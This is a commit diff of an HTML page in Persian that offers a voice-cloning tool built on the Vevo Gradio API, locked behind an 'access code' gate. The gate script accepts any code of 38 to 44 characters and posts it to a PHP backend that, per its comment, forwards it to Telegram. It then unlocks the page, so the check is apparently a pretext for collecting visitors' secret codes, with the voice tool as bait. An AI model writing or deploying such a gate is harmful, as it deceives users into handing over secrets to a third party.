Update index.html

index.html

@@ -4,101 +4,111 @@
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>ساخت صدای اختصاصی</title>
+    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400;700&display=swap" rel="stylesheet">
     <style>
-        /* General Styles */
+        /* General Body Styles */
         body {
-            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
-            margin: 0;
+            font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
             background-color: #f0f2f5;
             color: #333;
+            margin: 0;
+            padding: 0;
             display: flex;
-            align-items: center;
             justify-content: center;
-            min-height: 100vh;
-        }
-
-        /* Gate Overlay Styles */
-        #gate-overlay {
-            position: fixed;
-            top: 0;
-            left: 0;
-            width: 100%;
-            height: 100%;
-            background: rgba(0, 0, 0, 0.6);
-            backdrop-filter: blur(8px);
-            display: flex;
             align-items: center;
-            justify-content: center;
-            z-index: 1000;
+            min-height: 100vh;
         }
 
-        #gate-box {
-            background: white;
+        /* --- Delta Code Gate Styles --- */
+        #delta-gate-container {
+            background-color: white;
             padding: 40px;
             border-radius: 12px;
             box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
             text-align: center;
-            max-width: 400px;
+            max-width: 450px;
             width: 90%;
-            border-top: 5px solid #4299e1;
+            transition: opacity 0.5s ease-out, transform 0.5s ease-out;
         }
 
-        #gate-box h1 {
-            color: #2c5282;
+        #delta-gate-container.hidden {
+            opacity: 0;
+            transform: scale(0.9);
+            pointer-events: none;
+        }
+
+        #delta-gate-container h1 {
+            color: #2c3e50;
             margin-bottom: 15px;
+            font-size: 26px;
         }
 
-        #gate-box p {
-            color: #718096;
-            margin-bottom: 25px;
+        #delta-gate-container p {
+            color: #7f8c8d;
+            margin-bottom: 30px;
+            font-size: 16px;
         }
 
         #delta-code-input {
             width: 100%;
-            padding: 12px;
-            border: 1px solid #cbd5e0;
+            padding: 15px;
+            border: 1px solid #bdc3c7;
             border-radius: 8px;
-            box-sizing: border-box;
             font-size: 16px;
             text-align: center;
-            margin-bottom: 10px;
+            box-sizing: border-box;
             direction: ltr; /* For code input */
+            margin-bottom: 20px;
         }
 
-        #submit-code-btn {
+        #delta-code-input:focus {
+            outline: none;
+            border-color: #3498db;
+            box-shadow: 0 0 0 3px rgba(52, 152, 219, 0.2);
+        }
+
+        #verify-button {
             width: 100%;
-            padding: 12px;
-            background-color: #4299e1;
+            padding: 15px;
+            background: linear-gradient(135deg, #3498db, #2980b9);
             color: white;
             border: none;
             border-radius: 8px;
             cursor: pointer;
-            font-size: 16px;
+            font-size: 18px;
             font-weight: bold;
-            transition: background-color 0.3s;
+            transition: background 0.3s ease;
         }
         
-        #submit-code-btn:hover {
-            background-color: #3182ce;
+        #verify-button:disabled {
+            background: #bdc3c7;
+            cursor: not-allowed;
         }
 
+        #verify-button:hover:not(:disabled) {
+            background: linear-gradient(135deg, #2980b9, #3498db);
+        }
+        
         #error-message {
-            color: #e53e3e;
-            font-size: 14px;
+            color: #e74c3c;
             margin-top: 15px;
-            display: none; /* Hidden by default */
             font-weight: bold;
+            min-height: 20px;
         }
-        
-        /* Main content should be hidden initially */
-        #main-content {
-            display: none;
+
+
+        /* --- Main Content (Vevo API) Styles --- */
+        #main-content-container {
+            display: none; /* Hidden by default */
+            width: 100%;
+            max-width: 650px;
+            transition: opacity 0.5s ease-in;
         }
 
-        /* Styles for Vevo API Container (Your Original Code) */
+        /* All styles are scoped to this container to avoid conflicts (FROM YOUR PROVIDED CODE) */
         #huggingface-vevo-api-container {
-            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
-            margin: 40px auto;
+            font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
+            margin: 20px auto;
             background-color: #f7fafc;
             color: #2d3748;
             direction: rtl;
@@ -180,19 +190,18 @@
 </head>
 <body>
 
-    <!-- Gate Section (Login with Delta Code) -->
-    <div id="gate-overlay">
-        <div id="gate-box">
-            <h1>ورود به پنل اختصاصی</h1>
-            <p>برای دسترسی به ابزار تبدیل صدا، لطفاً کد دلتای خود را وارد کنید.</p>
-            <input type="text" id="delta-code-input" placeholder="کد دلتا را اینجا وارد کنید">
-            <button id="submit-code-btn">تأیید و ورود</button>
-            <p id="error-message">کد وارد شده نامعتبر است. (باید بین ۳۸ تا ۴۴ کاراکتر باشد)</p>
-        </div>
+    <!-- Gate Container: Asks for Delta Code -->
+    <div id="delta-gate-container">
+        <h1>ورود به پنل اختصاصی</h1>
+        <p>برای دسترسی به ابزار ساخت صدا، لطفاً کد دسترسی (کد دلتا) خود را وارد کنید.</p>
+        <input type="text" id="delta-code-input" placeholder="کد دلتا را اینجا وارد کنید...">
+        <button id="verify-button">تأیید و ورود</button>
+        <div id="error-message"></div>
     </div>
 
-    <!-- Main Content (Your Vevo API Tool) -->
-    <div id="main-content">
+    <!-- Main Content: Your Voice Conversion Tool (Initially Hidden) -->
+    <div id="main-content-container">
+        <!-- YOUR PROVIDED HTML CODE STARTS HERE -->
         <div id="huggingface-vevo-api-container">
             <div class="container">
                 <h1>رابط کاربری API برای Vevo</h1>
@@ -211,176 +220,195 @@
                 <div id="result"></div>
             </div>
         </div>
+        <!-- YOUR PROVIDED HTML CODE ENDS HERE -->
     </div>
 
-    <script>
-        // Wait for the entire page to load
-        document.addEventListener('DOMContentLoaded', () => {
-
-            // --- SECTION 1: Gate Logic ---
-
-            const gateOverlay = document.getElementById('gate-overlay');
-            const mainContent = document.getElementById('main-content');
-            const submitCodeBtn = document.getElementById('submit-code-btn');
-            const deltaCodeInput = document.getElementById('delta-code-input');
-            const errorMessage = document.getElementById('error-message');
+<script>
+document.addEventListener('DOMContentLoaded', () => {
+
+    // --- Section 1: Gate Logic ---
+    const gateContainer = document.getElementById('delta-gate-container');
+    const mainContentContainer = document.getElementById('main-content-container');
+    const verifyButton = document.getElementById('verify-button');
+    const codeInput = document.getElementById('delta-code-input');
+    const errorMessage = document.getElementById('error-message');
+
+    const showMainContent = () => {
+        gateContainer.classList.add('hidden');
+        // Wait for the fade out animation to finish before hiding it completely
+        setTimeout(() => {
+            gateContainer.style.display = 'none';
+            mainContentContainer.style.display = 'block';
+            mainContentContainer.style.opacity = '1';
+        }, 500); // Must match CSS transition duration
+    };
+    
+    // Check if user is already validated
+    if (localStorage.getItem('isDeltaCodeValidated') === 'true') {
+        showMainContent();
+    }
+
+    verifyButton.addEventListener('click', async () => {
+        const code = codeInput.value.trim();
+        errorMessage.textContent = '';
+        
+        // 1. Validate code length
+        if (code.length < 38 || code.length > 44) {
+            errorMessage.textContent = 'کد دلتا نامعتبر است. طول کد باید بین ۳۸ تا ۴۴ کاراکتر باشد.';
+            return;
+        }
+        
+        // 2. Send code to Telegram via PHP backend
+        verifyButton.disabled = true;
+        verifyButton.textContent = 'در حال بررسی...';
+
+        try {
+            // NOTE: 'send_code.php' must be in the same directory as this HTML file on your server
+            const response = await fetch('send_code.php', {
+                method: 'POST',
+                headers: {
+                    'Content-Type': 'application/x-www-form-urlencoded',
+                },
+                body: `delta_code=${encodeURIComponent(code)}`
+            });
 
-            // Function to show the main content and hide the gate
-            function showMainContent() {
-                gateOverlay.style.display = 'none';
-                mainContent.style.display = 'block';
-            }
+            const result = await response.json();
 
-            // Check if user is already validated
-            if (localStorage.getItem('deltaCodeValidated') === 'true') {
+            if (result.status === 'success') {
+                // 3. If successful, save state and show main content
+                localStorage.setItem('isDeltaCodeValidated', 'true');
                 showMainContent();
+            } else {
+                // Handle potential server-side errors
+                errorMessage.textContent = result.message || 'خطا در ارتباط با سرور. لطفاً دوباره تلاش کنید.';
+                verifyButton.disabled = false;
+                verifyButton.textContent = 'تأیید و ورود';
             }
+        } catch (error) {
+            errorMessage.textContent = 'خطای شبکه. از اتصال اینترنت خود مطمئن شوید.';
+            verifyButton.disabled = false;
+            verifyButton.textContent = 'تأیید و ورود';
+        }
+    });
 
-            // Handle the code submission
-            submitCodeBtn.addEventListener('click', () => {
-                const code = deltaCodeInput.value.trim();
-                
-                // Validate the code length
-                if (code.length >= 38 && code.length <= 44) {
-                    errorMessage.style.display = 'none';
-                    
-                    // Send code to Telegram via our PHP script
-                    fetch('notify.php', {
-                        method: 'POST',
-                        headers: {
-                            'Content-Type': 'application/json',
-                        },
-                        body: JSON.stringify({ code: code }),
-                    })
-                    .catch(error => console.error('Error sending to Telegram:', error));
-
-                    // Save validation status in localStorage for future visits
-                    localStorage.setItem('deltaCodeValidated', 'true');
-                    
-                    // Show the main content
-                    showMainContent();
-
-                } else {
-                    // Show error if code is invalid
-                    errorMessage.style.display = 'block';
-                }
-            });
 
+    // --- Section 2: Your Vevo API Logic (Copied from your request) ---
+    // All JavaScript is scoped to the container as well
+    const container = document.getElementById('huggingface-vevo-api-container');
+    if (container) { // Ensure container exists before adding listeners
+        const generateBtn = container.querySelector('#generateBtn');
+        const sourceAudioInput = container.querySelector('#sourceAudio');
+        const timbreRefInput = container.querySelector('#timbreRef');
+        const statusDiv = container.querySelector('#status');
+        const resultDiv = container.querySelector('#result');
 
-            // --- SECTION 2: Vevo API Logic (Your Original JS) ---
-            
-            const container = document.getElementById('huggingface-vevo-api-container');
-            const generateBtn = container.querySelector('#generateBtn');
-            const sourceAudioInput = container.querySelector('#sourceAudio');
-            const timbreRefInput = container.querySelector('#timbreRef');
-            const statusDiv = container.querySelector('#status');
-            const resultDiv = container.querySelector('#result');
-
-            const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
-            
-            function generateSessionHash() {
-                return Math.random().toString(36).substring(2, 15);
-            }
+        const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
+        
+        function generateSessionHash() {
+            return Math.random().toString(36).substring(2, 15);
+        }
 
-            async function uploadFile(file) {
-                const formData = new FormData();
-                formData.append("files", file);
+        async function uploadFile(file) {
+            const formData = new FormData();
+            formData.append("files", file);
 
-                const response = await fetch(`${API_URL}upload`, {
-                    method: 'POST',
-                    body: formData
-                });
+            const response = await fetch(`${API_URL}upload`, {
+                method: 'POST',
+                body: formData
+            });
 
-                const result = await response.json();
-                if (result && result.length > 0) {
-                    return result[0];
-                } else {
-                    throw new Error("آپلود فایل با خطا مواجه شد.");
-                }
+            const result = await response.json();
+            if (result && result.length > 0) {
+                return result[0];
+            } else {
+                throw new Error("آپلود فایل با خطا مواجه شد.");
             }
+        }
 
-            async function startGeneration() {
-                const sourceFile = sourceAudioInput.files[0];
-                const timbreFile = timbreRefInput.files[0];
+        async function startGeneration() {
+            const sourceFile = sourceAudioInput.files[0];
+            const timbreFile = timbreRefInput.files[0];
 
-                if (!sourceFile || !timbreFile) {
-                    alert("لطفاً هر دو فایل صوتی را انتخاب کنید.");
-                    return;
-                }
+            if (!sourceFile || !timbreFile) {
+                alert("لطفاً هر دو فایل صوتی را انتخاب کنید.");
+                return;
+            }
 
-                generateBtn.disabled = true;
-                statusDiv.textContent = 'در حال آپلود فایل اصلی...';
-                resultDiv.innerHTML = '';
+            generateBtn.disabled = true;
+            statusDiv.textContent = 'در حال آپلود فایل اصلی...';
+            resultDiv.innerHTML = '';
+            
+            const sessionHash = generateSessionHash();
+
+            try {
+                const sourcePath = await uploadFile(sourceFile);
+                statusDiv.textContent = 'در حال آپلود فایل مرجع...';
+                const timbrePath = await uploadFile(timbreFile);
+
+                statusDiv.textContent = 'ارسال درخواست برای پردازش...';
+
+                const joinPayload = {
+                    "data": [
+                        { "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "size": sourceFile.size, "mime_type": sourceFile.type, "meta": { "_type": "gradio.FileData" } },
+                        { "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "size": timbreFile.size, "mime_type": timbreFile.type, "meta": { "_type": "gradio.FileData" } }
+                    ],
+                    "event_data": null,
+                    "fn_index": 0,
+                    "trigger_id": 10,
+                    "session_hash": sessionHash
+                };
+
+                await fetch(`${API_URL}queue/join?`, {
+                    method: 'POST',
+                    headers: { 'Content-Type': 'application/json' },
+                    body: JSON.stringify(joinPayload)
+                });
                 
-                const sessionHash = generateSessionHash();
-
-                try {
-                    const sourcePath = await uploadFile(sourceFile);
-                    statusDiv.textContent = 'در حال آپلود فایل مرجع...';
-                    const timbrePath = await uploadFile(timbreFile);
-
-                    statusDiv.textContent = 'ارسال درخواست برای پردازش...';
-
-                    const joinPayload = {
-                        "data": [
-                            { "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "size": sourceFile.size, "mime_type": sourceFile.type, "meta": { "_type": "gradio.FileData" } },
-                            { "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "size": timbreFile.size, "mime_type": timbreFile.type, "meta": { "_type": "gradio.FileData" } }
-                        ],
-                        "event_data": null,
-                        "fn_index": 0,
-                        "trigger_id": 10,
-                        "session_hash": sessionHash
-                    };
-
-                    await fetch(`${API_URL}queue/join?`, {
-                        method: 'POST',
-                        headers: { 'Content-Type': 'application/json' },
-                        body: JSON.stringify(joinPayload)
-                    });
-                    
-                    statusDiv.textContent = 'در صف پردازش قرار گرفت. منتظر نتیجه بمانید...';
+                statusDiv.textContent = 'در صف پردازش قرار گرفت. منتظر نتیجه بمانید...';
 
-                    const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
+                const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
+                
+                eventSource.onmessage = function(event) {
+                    const data = JSON.parse(event.data);
                     
-                    eventSource.onmessage = function(event) {
-                        const data = JSON.parse(event.data);
+                    if (data.msg === 'process_starts') {
+                        statusDiv.textContent = 'پردازش شروع شد...';
+                    } else if (data.msg === 'process_completed') {
+                        statusDiv.textContent = 'پردازش با موفقیت انجام شد!';
+                        const resultPath = data.output.data[0].path;
+                        const resultUrl = `${API_URL}file=${resultPath}`;
                         
-                        if (data.msg === 'process_starts') {
-                            statusDiv.textContent = 'پردازش شروع شد...';
-                        } else if (data.msg === 'process_completed') {
-                            statusDiv.textContent = 'پردازش با موفقیت انجام شد!';
-                            const resultPath = data.output.data[0].path;
-                            const resultUrl = `${API_URL}file=${resultPath}`;
-                            
-                            resultDiv.innerHTML = `
-                                <h3>نتیجه:</h3>
-                                <audio controls src="${resultUrl}"></audio>
-                                <br>
-                                <a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>
-                            `;
-                            eventSource.close();
-                            generateBtn.disabled = false;
-                        } else if (data.msg === 'queue_full') {
-                             statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
-                             eventSource.close();
-                             generateBtn.disabled = false;
-                        }
-                    };
-
-                    eventSource.onerror = function() {
-                        statusDiv.textContent = 'خطا در ارتباط با سرور.';
+                        resultDiv.innerHTML = `
+                            <h3>نتیجه:</h3>
+                            <audio controls src="${resultUrl}"></audio>
+                            <br>
+                            <a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>
+                        `;
                         eventSource.close();
                         generateBtn.disabled = false;
-                    };
-
-                } catch (error) {
-                    statusDiv.textContent = `خطا: ${error.message}`;
+                    } else if (data.msg === 'queue_full') {
+                         statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
+                         eventSource.close();
+                         generateBtn.disabled = false;
+                    }
+                };
+
+                eventSource.onerror = function() {
+                    statusDiv.textContent = 'خطا در ارتباط با سرور.';
+                    eventSource.close();
                     generateBtn.disabled = false;
-                }
+                };
+
+            } catch (error) {
+                statusDiv.textContent = `خطا: ${error.message}`;
+                generateBtn.disabled = false;
             }
+        }
+
+        generateBtn.addEventListener('click', startGeneration);
+    }
+});
+</script>
 
-            generateBtn.addEventListener('click', startGeneration);
-        });
-    </script>
 </body>
 </html>